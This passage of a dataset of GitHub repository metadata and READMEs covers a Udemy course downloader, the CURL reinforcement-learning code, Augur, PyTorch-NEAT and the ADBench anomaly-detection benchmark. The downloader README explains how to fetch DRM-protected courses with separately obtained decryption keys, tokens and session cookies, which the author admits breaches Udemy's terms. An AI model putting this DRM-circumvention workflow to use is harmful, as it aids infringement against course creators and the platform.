stars](https://img.shields.io/github/stars/Puyodead1/udemy-downloader?style=for-the-badge)\n![GitHub](https://img.shields.io/github/license/Puyodead1/udemy-downloader?style=for-the-badge)\n\n# NOTE\n\n- **This tool will not work without decryption keys. Do not bother installing unless you already have keys or can obtain them!**\n- **Downloading courses is against Udemy's Terms of Service, I am NOT held responsible for your account getting suspended as a result from the use of this program!**\n- This program is WIP, the code is provided as-is and I am not held resposible for any legal issues resulting from the use of this program.\n- You can find information on downgrading the CDM version on the wiki, __please note that CDM version 2209 is already revoked as of 12/5/2021 and no longer works on Udemy as of 2/1/2022. This information is just to have it available.__\n  - Chrome: https://github.com/Puyodead1/udemy-downloader/wiki/Downgrade-CDM-to-2209-on-Chrome-(Windows)\n  - FireFox: https://github.com/Puyodead1/udemy-downloader/wiki/Downgrade-CDM-to-2209-on-FireFox-(Windows)\n\n# Description\n\nUtility script to download Udemy courses, has support for DRM videos but requires the user to aquire the decryption key (for legal reasons).<br>\nWindows is the primary development OS, but I've made an effort to support Linux also (Mac untested).\n\n# Requirements\n\nThe following are a list of required third-party tools, you will need to ensure they are in your systems path and that typing their name in a terminal invokes them.\n\n_**Note**:_ _These are seperate requirements that are not installed with the pip command! You will need to download and install these manually!_\n\n- [ffmpeg](https://www.ffmpeg.org/) - This tool is also available in Linux package repositories\n- [aria2/aria2c](https://github.com/aria2/aria2/) - This tool is also available in Linux package repositories\n- [shaka-packager](https://github.com/shaka-project/shaka-packager/releases/latest)\n- [yt-dlp](https://github.com/yt-dlp/yt-dlp/) - This tool is also available in Linux package repositories, but can also be installed using pip if desired (`pip install yt-dlp`)\n\n# Usage\n\n_quick and dirty how-to_\n\nYou will need to get a few things before you can use this program:\n\n- Decryption Key ID\n- Decryption Key\n- Udemy Course URL\n- Udemy Bearer Token (aka acccess token for udemy-dl users)\n- Udemy cookies (only required for subscription plans - see [Udemy Subscription Plans](#udemy-subscription-plans))\n\n## Setting up\n\n- rename `.env.sample` to `.env` _(you only need to do this if you plan to use the .env file to store your bearer token)_\n- rename `keyfile.example.json` to `keyfile.json`\n\n## Aquire Bearer Token\n\n- Firefox: [Udemy-DL Guide](https://github.com/r0oth3x49/udemy-dl/issues/389#issuecomment-491903900)\n- Chrome: [Udemy-DL Guide](https://github.com/r0oth3x49/udemy-dl/issues/389#issuecomment-492569372)\n- If you want to use the .env file to store your Bearer Token, edit the .env and add your token.\n\n## Key ID and Key\n\nIt is up to you to aquire the key and key ID. Please **DO NOT** ask me for help acquiring these, decrypting DRM protected content can be considered piracy. The tool required for this has already been discused in a GitHub issue.\n\n- Enter the key and key id in the `keyfile.json`\n- ![keyfile example](https://i.imgur.com/e5aU0ng.png)\n- ![example key and kid from console](https://i.imgur.com/awgndZA.png)\n\n## Start Downloading\n\nYou can now run the program, see the examples below. The course will download to `out_dir`.\n\n# Udemy Subscription Plans\n\nTo download a course included in a subscription plan that you did not purchase individually, you will need to follow a few more steps to get setup.\n\n_**NOTE**:_ _You do **NOT** need to follow this section if you don't have a **Udemy Pro** or **Udemy Personal** subscription plan! This section is not for individually purchased courses._\n\n## Getting your cookies\n\n- Go to the page of the course you want to download\n- press `control` + `shift` + `i` (this may be different depending on your OS, just google how to open developer tools)\n- click the `Console` tab\n- copy and paste `document.cookie` and press enter\n- copy the text between the quotes\n\n## Setup cookie file\n\n- Create a file called `cookies.txt` in the same folder as `main.py`\n- Paste the cookie into the file\n- save and close the file\n\nYou will also need to ensure the link is in the following format: `https://www.udemy.com/course/<course name>/learn/`.\n\nNote the link is `/course` not `/program-taking`. It is also important that the link has `/learn`, otherwise you will see an error when trying to fetch the course information.\n\n# Advanced Usage\n\n```\nusage: main.py [-h] -c COURSE_URL [-b BEARER_TOKEN] [-q QUALITY] [-l LANG] [-cd CONCURRENT_DOWNLOADS] [--disable-ipv6] [--skip-lectures] [--download-assets] [--download-captions]\n               [--keep-vtt] [--skip-hls] [--info] [--id-as-course-name] [--save-to-file] [--load-from-file] [--log-level LOG_LEVEL] [-v]\n\nUdemy Downloader\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -c COURSE_URL, --course-url COURSE_URL\n                        The URL of the course to download\n  -b BEARER_TOKEN, --bearer BEARER_TOKEN\n                        The Bearer token to use\n  -q QUALITY, --quality QUALITY\n                        Download specific video quality. If the requested quality isn't available, the closest quality will be used. If not specified, the best quality will be downloaded\n                        for each lecture\n  -l LANG, --lang LANG  The language to download for captions, specify 'all' to download all captions (Default is 'en')\n  -cd CONCURRENT_DOWNLOADS, --concurrent-downloads CONCURRENT_DOWNLOADS\n                        The number of maximum concurrent downloads for segments (HLS and DASH, must be a number 1-30)\n  --disable-ipv6        If specified, ipv6 will be disabled in aria2\n  --skip-lectures       If specified, lectures won't be downloaded\n  --download-assets     If specified, lecture assets will be downloaded\n  --download-captions   If specified, captions will be downloaded\n  --keep-vtt            If specified, .vtt files won't be removed\n  --skip-hls            If specified, hls streams will be skipped (faster fetching) (hls streams usually contain 1080p quality for non-drm lectures)\n  --info                If specified, only course information will be printed, nothing will be downloaded\n  --id-as-course-name   If specified, the course id will be used in place of the course name for the output directory. This is a 'hack' to reduce the path length\n  --save-to-file        If specified, course content will be saved to a file that can be loaded later with --load-from-file, this can reduce processing time (Note that asset links expire\n                        after a certain amount of time)\n  --load-from-file      If specified, course content will be loaded from a previously saved file with --save-to-file, this can reduce processing time (Note that asset links expire after a\n                        certain amount of time)\n  --log-level LOG_LEVEL\n                        Logging level: one of DEBUG, INFO, ERROR, WARNING, CRITICAL (Default is INFO)\n  -v, --version         show program's version number and exit\n```\n\n- Passing a Bearer Token and Course ID as an argument\n  - `python main.py -c <Course URL> -b <Bearer Token>`\n  - `python main.py -c https://www.udemy.com/courses/myawesomecourse -b <Bearer Token>`\n- Download a specific quality\n  - `python main.py -c <Course URL> -q 720`\n- Download assets along with lectures\n  - `python main.py -c <Course URL> --download-assets`\n- Download assets and specify a quality\n  - `python main.py -c <Course URL> -q 360 --download-assets`\n- Download captions (Defaults to English)\n  - `python main.py -c <Course URL> --download-captions`\n- Download captions with specific language\n  - `python main.py -c <Course URL> --download-captions -l en` - English subtitles\n  - `python main.py -c <Course URL> --download-captions -l es` - Spanish subtitles\n  - `python main.py -c <Course URL> --download-captions -l it` - Italian subtitles\n  - `python main.py -c <Course URL> --download-captions -l pl` - Polish Subtitles\n  - `python main.py -c <Course URL> --download-captions -l all` - Downloads all subtitles\n  - etc\n- Skip downloading lecture videos\n  - `python main.py -c <Course URL> --skip-lectures --download-captions` - Downloads only captions\n  - `python main.py -c <Course URL> --skip-lectures --download-assets` - Downloads only assets\n- Keep .VTT caption files:\n  - `python main.py -c <Course URL> --download-captions --keep-vtt`\n- Skip parsing HLS Streams (HLS streams usually contain 1080p quality for Non-DRM lectures):\n  - `python main.py -c <Course URL> --skip-hls`\n- Print course information only:\n  - `python main.py -c <Course URL> --info`\n- Specify max number of concurrent downloads:\n  - `python main.py -c <Course URL> --concurrent-downloads 20`\n  - `python main.py -c <Course URL> -cd 20`\n- Cache course information:\n  - `python main.py -c <Course URL> --save-to-file`\n- Load course cache:\n  - `python main.py -c <Course URL> --load-from-file`\n- Change logging level:\n  - `python main.py -c <Course URL> --log-level DEBUG`\n  - `python main.py -c <Course URL> --log-level WARNING`\n  - `python main.py -c <Course URL> --log-level INFO`\n  - `python main.py -c <Course URL> --log-level CRITICAL`\n- Use course ID as the course name:\n  - `python main.py -c <Course URL> --id-as-course-name`\n\nIf you encounter errors while downloading such as\n\n`errorCode=1 Network problem has occurred. cause:Unknown socket error 10051 (0x2743)`\n\nor\n\n`errorCode=1 Network problem has occurred. cause:A socket operation was attempted to an unreachable network.`\n\nThen try disabling ipv6 in aria2 using the `--disable-ipv6` option\n\n# Support\n\nif you want help using the program, join my [Discord](https://discord.gg/tMzrSxQ) server or use [GitHub Issues](https://github.com/Puyodead1/udemy-downloader/issues)\n\n# Credits\n\n- https://github.com/Jayapraveen/Drm-Dash-stream-downloader - For the original code which this is based on\n- https://github.com/alastairmccormack/pywvpssh - For code related to PSSH extraction\n- https://github.com/alastairmccormack/pymp4parse - For code related to mp4 box parsing (used by pywvpssh)\n- https://github.com/lbrayner/vtt-to-srt - For code related to converting subtitles from vtt to srt format\n- https://github.com/r0oth3x49/udemy-dl - For some of the informaton related to using the udemy api\n\n## License\n\nAll code is licensed under the MIT license\n\n## and finally, donations!\n\nWoo, you made it this far!\n\nI spend a lot of time coding things, and almost all of them are for nothing in return. When theres a lot of use of a program I make, I try to keep it updated, fix bugs, and even implement new features! But after a while, I do run out of motivation to keep doing it. If you like my work, and can help me out even a little, it would really help me out. If you are interested, you can find all the available options [here](https://github.com/Puyodead1/#supporting-me). Even if you don't, thank you anyways!\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "MishaLaskin/curl", "link": "https://github.com/MishaLaskin/curl", "tags": ["deep-learning", "contrastive-loss", "contrastive-learning", "contrastive-predictive-coding", "deep-reinforcement-learning", "deep-rl", "reinforcement-learning", "reinforcement-learning-algorithms", "curl", "sac", "gpu", "off-policy", "model-free-rl", "deep-neural-networks", "deeplearning", "deep-q-network", "deep-q-learning", "deep-learning-algorithms", "deeplearning-ai", "reinforcement-agents"], "stars": 503, "description": "CURL: Contrastive Unsupervised Representation Learning for Sample-Efficient Reinforcement Learning", "lang": "Python", "repo_lang": "", "readme": "# CURL: Contrastive Unsupervised Representation Learning for Sample-Efficient Reinforcement Learning\n\nThis repository is the official implementation of [CURL](https://mishalaskin.github.io/curl/) for the DeepMind control experiments. Atari experiments were done in a separate codebase available [here](https://github.com/aravindsrinivas/curl_rainbow). Our implementation of SAC is based on [SAC+AE](https://github.com/denisyarats/pytorch_sac_ae) by Denis Yarats. \n\n## Installation \n\nAll of the dependencies are in the `conda_env.yml` file. They can be installed manually or with the following command:\n\n```\nconda env create -f conda_env.yml\n```\n\n## Instructions\nTo train a CURL agent on the `cartpole swingup` task from image-based observations run `bash script/run.sh` from the root of this directory. The `run.sh` file contains the following command, which you can modify to try different environments / hyperparamters.\n```\nCUDA_VISIBLE_DEVICES=0 python train.py \\\n    --domain_name cartpole \\\n    --task_name swingup \\\n    --encoder_type pixel \\\n    --action_repeat 8 \\\n    --save_tb --pre_transform_image_size 100 --image_size 84 \\\n    --work_dir ./tmp \\\n    --agent curl_sac --frame_stack 3 \\\n    --seed -1 --critic_lr 1e-3 --actor_lr 1e-3 --eval_freq 10000 --batch_size 128 --num_train_steps 1000000 \n```\n\nIn your console, you should see printouts that look like:\n\n```\n| train | E: 221 | S: 28000 | D: 18.1 s | R: 785.2634 | BR: 3.8815 | A_LOSS: -305.7328 | CR_LOSS: 190.9854 | CU_LOSS: 0.0000\n| train | E: 225 | S: 28500 | D: 18.6 s | R: 832.4937 | BR: 3.9644 | A_LOSS: -308.7789 | CR_LOSS: 126.0638 | CU_LOSS: 0.0000\n| train | E: 229 | S: 29000 | D: 18.8 s | R: 683.6702 | BR: 3.7384 | A_LOSS: -311.3941 | CR_LOSS: 140.2573 | CU_LOSS: 0.0000\n| train | E: 233 | S: 29500 | D: 19.6 s | R: 838.0947 | BR: 3.7254 | A_LOSS: -316.9415 | CR_LOSS: 136.5304 | CU_LOSS: 0.0000\n```\n\nFor reference, the maximum score for cartpole swing up is around 845 pts, so CURL has converged to the optimal score. This takes about an hour of training depending on your GPU. \n\nLog abbreviation mapping:\n\n```\ntrain - training episode\nE - total number of episodes \nS - total number of environment steps\nD - duration in seconds to train 1 episode\nR - mean episode reward\nBR - average reward of sampled batch\nA_LOSS - average loss of actor\nCR_LOSS - average loss of critic\nCU_LOSS - average loss of the CURL encoder\n```\n\nAll data related to the run is stored in the specified `working_dir`. To enable model or video saving, use the `--save_model` or `--save_video` flags. For all available flags, inspect `train.py`. To visualize progress with tensorboard run:\n\n```\ntensorboard --logdir log --port 6006\n```\n\nand go to `localhost:6006` in your browser. If you're running headlessly, try port forwarding with ssh. \n\nFor GPU accelerated rendering, make sure EGL is installed on your machine and set `export MUJOCO_GL=egl`. For environment troubleshooting issues, see the DeepMind control documentation.\n", "readme_type": "markdown", "hn_comments": "website: https://mishalaskin.github.io/curl/\ncode: https://github.com/MishaLaskin/curl<HN_SEP>", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "chaoss/augur", "link": "https://github.com/chaoss/augur", "tags": ["chaoss", "linux", "linux-foundation", "open-source", "opensource", "github", "data-visualization", "facade", "git", "metrics", "sustainability", "health", "python-library", "data-collection", "data-modeling", "unix", "research", "hacktoberfest", "hacktoberfest2020", "defined-metrics"], "stars": 504, "description": "Python library and web service for Open Source Software Health and Sustainability metrics & data collection. You can find our documentation and new contributor information easily here: https://chaoss.github.io/augur/ and learn more about Augur at our website https://augurlabs.io", "lang": "Python", "repo_lang": "", "readme": "\n# Augur NEW Release v0.44.2\n\n[![first-timers-only](https://img.shields.io/badge/first--timers--only-friendly-blue.svg?style=flat-square)](https://www.firsttimersonly.com/) We follow the [First Timers Only](https://www.firsttimersonly.com/) philosophy of tagging issues for first timers only, and walking one newcomer through the resolution process weekly. [You can find these issues tagged with \"first timers only\" on our issues list.](https://github.com/chaoss/augur/labels/first-timers-only).\n\n[![standard-readme compliant](https://img.shields.io/badge/standard--readme-OK-green.svg?style=flat-square)](https://github.com/RichardLitt/standard-readme) [![Build Docker images](https://github.com/chaoss/augur/actions/workflows/build_docker.yml/badge.svg)](https://github.com/chaoss/augur/actions/workflows/build_docker.yml) [![Hits-of-Code](https://hitsofcode.com/github/chaoss/augur?branch=main)](https://hitsofcode.com/github/chaoss/augur/view?branch=main) [![CII Best Practices](https://bestpractices.coreinfrastructure.org/projects/2788/badge)](https://bestpractices.coreinfrastructure.org/projects/2788)\n\n## NEW RELEASE ALERT!\n### [If you want to jump right in, updated docker build/compose and bare metal installation instructions are available here](docs/new-install.md)\n\n\nAugur is now releasing a dramatically improved new version to the main branch. It is also available here: https://github.com/chaoss/augur/releases/tag/v0.44.2\n- The `main` branch is a stable version of our new architecture, which features:\n  - Dramatic improvement in the speed of large scale data collection (100,000+ repos). All data is obtained for 100k+ repos within 2 weeks.\n  - A new job management architecture that uses Celery and Redis to manage queues, and enables users to run a Flower job monitoring dashboard\n  - Materialized views to increase the snappiness of API\u2019s and Frontends on large scale data\n  - Changes to primary keys, which now employ a UUID strategy that ensures unique keys across all Augur instances\n  - Support for https://github.com/oss-aspen/8knot dashboards (view a sample here: https://eightknot.osci.io/). (beautification coming soon!)\n  - Data collection completeness assurance enabled by a structured, relational data set that is easily compared with platform API Endpoints\n- The next release of the new version will include a hosted version of Augur where anyone can create an account and add repos \u201cthey care about\u201d. If the hosted instance already has a requested organization or repository it will be added to a user\u2019s view. If its a new repository or organization, the user will be notified that collection will take (time required for the scale of repositories added). \n\n## What is Augur?\n\nAugur is a software suite for collecting and measuring structured data\nabout [free](https://www.fsf.org/about/) and [open-source](https://opensource.org/docs/osd) software (FOSS) communities.\n\nWe gather trace data for a group of repositories, normalize it into our data model, and provide a variety of metrics about said data. The structure of our data model enables us to synthesize data across various platforms to provide meaningful context for meaningful questions about the way these communities evolve.\nAugur\u2019s main focus is to measure the overall health and sustainability of open source projects, as these types of projects are system critical for nearly every software organization or company. We do this by gathering data about project repositories and normalizing that into our data model to provide useful metrics about your project\u2019s health. For example, one of our metrics is Burstiness. Burstiness \u2013 how are short timeframes of intense activity, followed by a corresponding return to a typical pattern of activity, observed in a project?\n\nThis can paint a picture of a project\u2019s focus and gain insight into the potential stability of a project and how its typical cycle of updates occurs. \n\nWe are a [CHAOSS](https://chaoss.community) project, and many of our\nmetrics are implementations of the metrics defined by our awesome community. You can find a full list of them [here](https://chaoss.community/metrics/).\n\nFor more information on [how to get involved on the CHAOSS website](https://chaoss.community/participate/).\n\n## Collecting Data\n\nAugur supports Python3.6 through Python3.9 on all platforms. Python3.10 and above do not yet work because of machine learning worker dependencies. On OSX, you can create a Python 3.9 environment this way: `python3.9 -m venv path/to/venv`.\n\nAugur's main focus is to measure the overall health and sustainability of open source projects.\n\nAugur collects more data about open source software projects than any other available software. Augur's main focus is to measure the overall health and sustainability of open source projects.\nOne of Augur's core tenets is a desire to openly gather data that people can trust, and then provide useful and well-defined metrics that help give important context to the larger stories being told by that data. We do this in a variety of ways, one of which is doing all our own data collection in house. We currently collect data from a few main sources:\n\n1. Raw Git commit logs (commits, contributors)\n2. GitHub's API (issues, pull requests, contributors, releases, repository metadata)\n3. The Linux Foundation's [Core Infrastructure Initiative](https://www.coreinfrastructure.org/) API (repository metadata)\n4. [Succinct Code Counter](https://github.com/boyter/scc), a blazingly fast Sloc, Cloc, and Code tool that also performs COCOMO calculations\n\nThis data is collected by dedicated data collection workers controlled by Augur, each of which is responsible for querying some subset of these data sources. We are also hard at work building workers for new data sources. If you have an idea for a new one, [please tell us](https://github.com/chaoss/augur/issues/new?template=feature_request.md) - we'd love your input!\n\n\n## Getting Started\n\nIf you're interested in collecting data with our tool, the Augur team has worked hard to develop a detailed guide to get started with our project which can be found [in our documentation](https://oss-augur.readthedocs.io/en/main/getting-started/toc.html).\n\nIf you're looking to contribute to Augur's code, you can find installation instructions, development guides, architecture references (coming soon), best practices and more in our [developer documentation](https://oss-augur.readthedocs.io/en/main/development-guide/toc.html). Please know that while it's still rather sparse right now,\nbut we are actively adding to it all the time. If you get stuck, please feel free to [ask for help](https://github.com/chaoss/augur/issues/new)!\n\n## Contributing\n\nTo contribute to Augur, please follow the guidelines found in our [CONTRIBUTING.md](CONTRIBUTING.md) and our [Code of Conduct](CODE_OF_CONDUCT.md). Augur is a welcoming community that is open to all, regardless if you're working on your 1000th contribution to open source or your 1st. We strongly believe that much of what makes open source so great is the incredible communities it brings together, so we invite you to join us!\n\n## License, Copyright, and Funding\n\nCopyright \u00a9 2023 University of Nebraska at Omaha, University of Missouri, Brian Warner, and the CHAOSS Project.\n\nAugur is free software: you can redistribute it and/or modify it under the terms of the MIT License as published by the Open Source Initiative. See the [LICENSE](LICENSE) file for more details.\n\nThis work has been funded through the Alfred P. Sloan Foundation, Mozilla, The Reynolds Journalism Institute, contributions from VMWare, Red Hat Software, Grace Hopper's Open Source Day, GitHub, Microsoft, Twitter, Adobe, the Gluster Project, Open Source Summit (NA/Europe), and the Linux Foundation Compliance Summit. Significant design contributors include Kate Stewart, Dawn Foster, Duane O'Brien, Remy Decausemaker, others omitted due to the  memory limitations of project maintainers, and 15 Google Summer of Code Students.\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "uber-research/PyTorch-NEAT", "link": "https://github.com/uber-research/PyTorch-NEAT", "tags": [], "stars": 503, "description": null, "lang": "Python", "repo_lang": "", "readme": "# PyTorch NEAT\n\n## Background\nNEAT (NeuroEvolution of Augmenting Topologies) is a popular neuroevolution algorithm, one of the few such algorithms that evolves the architectures of its networks in addition to the weights. For more information, see this research paper: http://nn.cs.utexas.edu/downloads/papers/stanley.ec02.pdf.\n\nHyperNEAT is an extension to NEAT that indirectly encodes the weights of the network (called the substrate) with a separate network (called a CPPN, for compositional pattern-producing network). For more information on HyperNEAT, see this website: http://eplex.cs.ucf.edu/hyperNEATpage/.\n\nAdaptive HyperNEAT is an extension to HyperNEAT which indirectly encodes both the initial weights and an update rule for the weights such that some learning can occur during a network's \"lifetime.\" For more information, see this research paper: http://eplex.cs.ucf.edu/papers/risi_sab10.pdf.\n\n## About\nPyTorch NEAT builds upon [NEAT-Python](https://github.com/CodeReclaimers/neat-python) by providing some functions which can turn a NEAT-Python genome into either a recurrent PyTorch network or a PyTorch CPPN for use in HyperNEAT or Adaptive HyperNEAT.\nWe also provide some environments in which to test NEAT and Adaptive HyperNEAT, and a more involved example using the CPPN infrastructure with Adaptive HyperNEAT on a T-maze.\n\n## Examples\nThe following snippet turns a NEAT-Python genome into a recurrent PyTorch network:\n```\nfrom pytorch_neat.recurrent_net import RecurrentNet\n\nnet = RecurrentNet.create(genome, config, bs)\noutputs = net.activate(some_array)\n```\n\nYou can also turn a NEAT-Python genome into a CPPN:\n```\nfrom pytorch_neat.cppn import create_cppn\n\ncppn_nodes = create_cppn(genome, config)\n```\n\nA CPPN is represented as a graph structure. For easy evaluation, a CPPN's input and output nodes may be named:\n```\nfrom pytorch_neat.cppn import create_cppn\n\n[delta_w_node] = create_cppn(\n    genome,\n    config,\n    [\"x_in\", \"y_in\", \"x_out\", \"y_out\", \"pre\", \"post\", \"w\"],\n    [\"delta_w\"],\n)\n\ndelta_w = delta_w_node(x_in=some_array, y_in=other_array, ...)\n```\n\nWe also provide some infrastructure for running networks in Gym environments:\n```\nfrom pytorch_neat.multi_env_eval import MultiEnvEvaluator\nfrom pytorch_neat.recurrent_net import RecurrentNet\n\ndef make_net(genome, config, batch_size):\n    return RecurrentNet.create(genome, config, batch_size)\n\n\ndef activate_net(net, states):\n    outputs = net.activate(states).numpy()\n    return outputs[:, 0] > 0.5\n\ndef make_env():\n    return gym.make(\"CartPole-v0\")\n\nevaluator = MultiEnvEvaluator(\n    make_net, activate_net, make_env=make_env, max_env_steps=max_env_steps, batch_size=batch_size,\n)\n\nfitness = evaluator.eval_genome(genome)\n```\nThis allows multiple environments to run in parallel for efficiency.\n\nA simple example using NEAT to solve the Cartpole can be run like this:\n```\npython3 -m examples.simple.main\n```\n\nAnd a simple example using Adaptive HyperNEAT to partially solve a T-maze can be run like this:\n```\npython3 -m examples.adaptive.main\n```\n\n## Author / Support\n\nPyTorch NEAT is extended from Python NEAT by Alex Gajewsky.\n\nQuestions can be directed to joel.lehman@uber.com.\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "Minqi824/ADBench", "link": "https://github.com/Minqi824/ADBench", "tags": ["anomaly-detection", "benchmark", "data-mining", "deep-learning", "machine-learning", "outlier-detection", "semi-supervised-learning", "supervised-learning", "unsupervised-learning", "data-sicence", "ensemble-learning", "neural-networks", "python"], "stars": 503, "description": "Official Implement of \"ADBench: Anomaly Detection Benchmark\".", "lang": "Python", "repo_lang": "", "readme": "Official code and data repository of [_**ADBench**: Anomaly Detection Benchmark_](https://arxiv.org/abs/2206.09426) (NeurIPS 2022).\n__Please star, watch, and fork ADBench for the active updates!__\n\n\n## Citing ADBench:\nOur ADBench benchmark paper is now available on [arxiv](https://arxiv.org/abs/2206.09426) and [OpenReview](https://openreview.net/forum?id=foA_SFQ9zo0).\nIf you find this work useful or use some our released datasets, we would appreciate citations to the following paper:\n```\n@inproceedings{han2022adbench,  \n      title={ADBench: Anomaly Detection Benchmark},   \n      author={Songqiao Han and Xiyang Hu and Hailiang Huang and Mingqi Jiang and Yue Zhao},  \n      booktitle={Neural Information Processing Systems (NeurIPS)}\n      year={2022},  \n}\n```\n\n****\n\n## Who Are We? \u2728\n\nADBench is a collaborative effort between researchers at _Shanghai University of Finance and Economics (SUFE)_ and _Carnegie Mellon University (CMU)_. \nThe project is designed and conducted by [Minqi Jiang (SUFE)](https://github.com/Minqi824) and [Yue Zhao (CMU)](https://github.com/yzhao062), and [Xiyang Hu (CMU)](https://github.com/xiyanghu) --the author(s) of important anomaly detection libraries, including anomaly detection for tabular ([PyOD](https://github.com/yzhao062/pyod)), time-series ([TODS](https://github.com/datamllab/tods)), and graph data ([PyGOD](https://github.com/pygod-team/pygod)). \n\n<a href=\"https://github.com/Minqi824/ADBench/graphs/contributors\">\n  <img src=\"https://contrib.rocks/image?repo=Minqi824/ADBench\" />\n</a>\n\n\n## Why Do You Need ADBench?\n\nADBench is (to our best knowledge) **the most comprehensive tabular anomaly detection benchmark**, where we analyze the performance of **30** anomaly detection algorithms on [**57 datasets**](#datasets) (where we introduced 10 new datasets). By analyzing both research needs and deployment requirements in industry,\nADBench conducts 98,436 experiments with three major angles:\n 1. **the effect of supervision** (e.g., ground truth labels) \nby including 14 unsupervised, 7 semi-supervised, and 9 supervised methods;\n 2. **algorithm performance under different types of anomalies** by \nsimulating the environments with 4 types of anomalies; and\n 3. **algorithm robustness and stability** under 3 settings of data corruptions. \n\n**Key Takeaways in 1 Minute**:\n1. :bangbang: surprisingly none of the benchmarked unsupervised algorithms is statistically better than others, emphasizing the importance of algorithm selection;\n2. :bangbang: with merely 1% labeled anomalies, most semi-supervised methods can outperform the best unsupervised method, justifying the importance of supervision;\n3. in controlled environments, we observe that best unsupervised methods for specific types of anomalies are even better than semi- and fully-supervised methods, revealing the necessity of understanding data characteristics;\n4. semi-supervised methods show potential in achieving robustness in noisy and corrupted data, possibly due to their efficiency in using labels and feature selection;\n5. :interrobang: and many more can be found in our papers (Section 4)\n\nThe Figure below provides an overview of our proposed ADBench (see our [paper](https://arxiv.org/abs/2206.09426) for details).\n\n![ADBench](figs/ADBenchV2.png)\n\n----\n\n## How to use ADBench?\n\nWe envision three primary usages of ADBench:\n\n- **Have better understanding of anomaly detection algorithms**: please read our [paper](https://arxiv.org/abs/2206.09426) for details.\n- **Conduct future research on anomaly detection**: we list 4 important future research questions in the paper--see Section 4 to see some thoughts!\n- **Access rich algorithm implementation and datasets**: see details below for how to use them\n- **Benchmark your anomaly detection algorithms**: see [notebook](https://github.com/Minqi824/ADBench/blob/main/demo.ipynb) for instruction.\n\n\n### Dependency\nThe experiment code is written in Python 3 and built on a number of Python packages:  \n\n- scikit-learn==0.20.3\n- pyod==1.0.0\n- Keras==2.8.0\n- tensorflow==2.8.0\n- torch==1.9.0\n- rtdl==0.0.13\n- delu\n- lightgbm\n- xgboost\n- catboost \n- copulas\n\n### Quickly implement ADBench for benchmarking AD algorithms.\nWe present the following example for quickly implementing ADBench in _three different Angles_ illustrated\nin the paper. Currently, [57 datasets](#datasets) can be used for evaluating [30 algorithms](#algorithms) in ADBench,\nand we encourage to test your customized datasets/algorithms in our ADBench testbed.\n\n\n**_Angle I: Availability of Ground Truth Labels (Supervision)_**\n```python\nfrom data_generator import DataGenerator\nfrom myutils import Utils\n\n# one can use our already included datasets\ndata_generator = DataGenerator(dataset='6_cardio.npz')\n# specify the ratio of labeled anomalies to generate X and y\n# la could be any float number in [0.0, 1.0]\ndata = data_generator.generator(la=0.1) \n\n# or specify the X and y of your customized data\n# data_generator = DataGenerator(dataset=None)\n# data = data_generator.generator(X=X, y=y, la=0.1)\n\n# import AD algorithms (e.g., DevNet) and initialization\nfrom baseline.DevNet.run import DevNet\nmodel = DevNet(seed=42)\n\n# fitting\nmodel.fit(X_train=data['X_train'], y_train=data['y_train'])\n\n# prediction\nscore = model.predict_score(data['X_test'])\n\n# evaluation\nutils = Utils()\nresult = utils.metric(y_true=data['y_test'], y_score=score)\n```\n\n**_Angle II: Types of Anomalies_**\n```python\n# For Angle II, different types of anomalies are generated as the following\ndata_generator = DataGenerator(dataset='6_cardio.npz')\n# the type of anomalies could be 'local', 'global', 'dependency' or 'cluster'.\ndata = data_generator.generator(realistic_synthetic_mode='local')\n```\n\n\n**_Angle III: Model Robustness with Noisy and Corrupted Data_**\n```python\n# For Angle III, different data noises and corruptions are added as the following\ndata_generator = DataGenerator(dataset='6_cardio.npz')\n# the type of anomalies could be 'duplicated_anomalies', 'irrelevant_features' or 'label_contamination'.\ndata = data_generator.generator(noise_type='duplicated_anomalies')\n```\n\n- We also provide an example for quickly implementing ADBench, as shown in [notebook](demo.ipynb).\n- For **complete results** of ADBench, please refer to our [paper](https://arxiv.org/abs/2206.09426).\n- For **reproduce** experiment results of ADBench, please run the [code](run.py).\n\n### Datasets\nADBench includes [57 datasets](https://github.com/Minqi824/ADBench/tree/main/datasets), as shown in the following Table. \n\n- Among them, **47 widely-used real-world datasets** are gathered for model evaluation, which cover many application domains, \nincluding healthcare (e.g., disease diagnosis), \naudio and language processing (e.g., speech recognition), \nimage processing (e.g., object identification), \nfinance (e.g., financial fraud detection), etc.  \n\n- we introduce **10 more complex datasets** from CV and NLP domains with more samples and richer features in ADBench.\nPretrained models are applied to extract data embedding from NLP and CV datasets to access more complex representation.\nPlease see the [datasets](datasets) folder and our [paper]((https://arxiv.org/abs/2206.09426)) for detailed information.\n\n- We organize the above 57 datasets into user-friendly format. All the datasets are named as \"number_data.npz\" in the\n[datasets](datasets) folder. For example, one can evaluate AD algorithms on the cardio dataset by the following codes.\nFor multi-class dataset like CIFAR10, additional class numbers should be specified as \"number_data_class.npz\".\nPlease see the folder for more details.\n\n- We provide the data processing code [for NLP datasets](https://colab.research.google.com/drive/1uMr_5jIqrlP1UL1SlBm7cdO7fmDaEamB?usp=sharing)\nand [for CV datasets](https://colab.research.google.com/drive/1tB90CB-BuKDOM3WYV75-WkK6xrMQxQ5M?usp=sharing)\nin **Google Colab**, where one can quickly\nreproduce our procedures via the free GPUs. We hope this could be helpful for the AD community.\n\nWe have unified all the datasets in .npz format, and you can read a dataset by the following script\n\n```python\nimport numpy as np\ndata = np.load('6_cardio.npz', allow_pickle=True)\nX, y = data['X'], data['y']\n```\n\n| Number | Data | # Samples | # Features | # Anomaly | % Anomaly | Category |\n|:--:|:---:|:---------:|:----------:|:---------:|:---------:|:---:|\n|1| ALOI                    |   49534   |     27     |   1508    |   3.04    |     Image     |\n|2| annthyroid   |   7200    |     6      |    534    |   7.42    |      Healthcare    |\n|3| backdoor|   95329   |    196     |   2329    |   2.44    | Network|\n|4| breastw                              |    683    |     9      |    239    |   34.99   | Healthcare  |\n|5|campaign|   41188   |     62     |   4640    |   11.27   | Finance|\n|6| cardio                               |   1831    |     21     |    176    |   9.61    | Healthcare |        \n|7| Cardiotocography    |   2114    |     21     |    466    |   22.04   | Healthcare         |\n|8|celeba|  202599   |     39     |   4547    |   2.24    | Image|\n|9|census|  299285   |    500     |   18568   |   6.20    | Sociology|\n|10| cover                                |  